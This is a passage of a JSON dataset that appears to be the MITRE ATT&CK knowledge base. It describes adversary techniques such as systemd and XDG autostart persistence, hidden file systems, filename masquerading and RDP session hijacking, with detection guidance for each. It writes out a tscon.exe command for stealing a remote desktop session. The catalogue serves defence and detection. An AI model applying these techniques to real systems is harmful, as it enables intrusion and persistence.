2020."},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"Kaspersky Equation QA","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}],"modified":"2020-06-29T15:12:11.024Z","name":"Hidden File System","description":"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification","File: File Modification","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"modified":"2024-02-15T14:19:22.282Z","name":"Systemd Service","description":"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Tony Lambert, Red Canary","Emad Al-Mousa, Saudi Aramco","Tim (Wadhwa-)Brown"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.5","x_mitre_data_sources":["Command: Command Execution","File: File Modification","Service: Service Creation","Service: Service Modification","Process: Process Creation","File: File Creation"],"x_mitre_permissions_required":["User","root"],"type":"attack-pattern","id":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","created":"2020-01-17T16:15:19.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1543/002","external_id":"T1543.002"},{"source_name":"airwalk backdoor unix systems","description":"airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.","url":"http://www.ouah.org/backdoors.html"},{"source_name":"Anomali Rocke March 2019","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"},{"source_name":"freedesktop systemd.service","description":"Free Desktop. (n.d.). systemd.service — Service unit configuration. Retrieved March 20, 2023.","url":"https://www.freedesktop.org/software/systemd/man/systemd.service.html"},{"source_name":"Linux man-pages: systemd January 2014","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.","url":"http://man7.org/linux/man-pages/man1/systemd.1.html"},{"source_name":"Berba hunting linux systemd","description":"Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.","url":"https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"},{"source_name":"Rapid7 Service Persistence 22JUNE2016","description":"Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.","url":"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"},{"source_name":"lambert systemd 2022","description":"Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.","url":"https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-14T15:37:02.771Z","name":"RDP Hijacking","description":"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Logon Session: Logon Session Creation","Process: Process Creation","Command: Command Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","created":"2020-02-25T18:35:42.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1563/002","external_id":"T1563.002"},{"source_name":"RDP Hijacking Medium","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"},{"source_name":"RDP Hijacking Korznikov","description":"Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.","url":"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"},{"source_name":"TechNet Remote Desktop Services","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"},{"source_name":"Kali Redsnarf","description":"NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.","url":"https://github.com/nccgroup/redsnarf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:53:21.895Z","name":"Create Account","description":"Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Praetorian","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Network","Containers","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"2.5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","User Account: User Account Creation"],"type":"attack-pattern","id":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1136","external_id":"T1136"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"},{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-16T16:35:12.501Z","name":"XDG Autostart Entries","description":"Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Tony Lambert, Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","Command: Command Execution","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["User","root"],"type":"attack-pattern","id":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","created":"2019-09-10T18:13:12.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/013","external_id":"T1547.013"},{"source_name":"Free Desktop Application Autostart Feb 2006","description":"Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.","url":"https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"},{"source_name":"Free Desktop Entry Keys","description":"Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.","url":"https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html"},{"source_name":"Red Canary Netwire Linux 2022","description":"TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-31T20:05:44.075Z","name":"Server","description":"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Dor Edry, Microsoft"],"x_mitre_deprecated":false,"x_mitre_detection":"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content","Internet Scan: Response Metadata"],"type":"attack-pattern","id":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","created":"2020-10-01T00:56:25.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584/004","external_id":"T1584.004"},{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Cloud Service Discovery","description":"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Suzy Schapperle - Microsoft Azure Red Team","Praetorian","Thanabodi Phrakhun, I-SECURE","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Cloud Service: Cloud Service Enumeration","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","created":"2019-08-30T13:01:10.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1526","external_id":"T1526"},{"source_name":"Azure AD Graph API","description":"Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"},{"source_name":"Azure - Resource Manager API","description":"Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.","url":"https://docs.microsoft.com/en-us/rest/api/resources/"},{"source_name":"Azure - Stormspotter","description":"Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.","url":"https://github.com/Azure/Stormspotter"},{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Erye Hernandez, Palo Alto Networks"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1151","url":"https://attack.mitre.org/techniques/T1151"},{"external_id":"CAPEC-649","source_name":"capec","url":"https://capec.mitre.org/data/definitions/649.html"},{"url":"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/","description":"Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.","source_name":"Mac Backdoors are back"}],"modified":"2020-02-10T20:49:12.897Z","name":"Space after Filename","description":"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-08-14T19:08:59.741Z","name":"Remote System Discovery","description":"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Daniel Stepanic, Elastic","RedHuntLabs, @redhuntlabs","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"3.5","x_mitre_data_sources":["Command: Command Execution","File: File Access","Network Traffic: Network Connection Creation","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","created":"2017-05-31T21:30:28.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1018","external_id":"T1018"},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"},{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-11T21:10:09.547Z","name":"Network Service Discovery","description":"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers","Network"],"x_mitre_version":"3.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Command: Command Execution","Cloud Service: Cloud Service 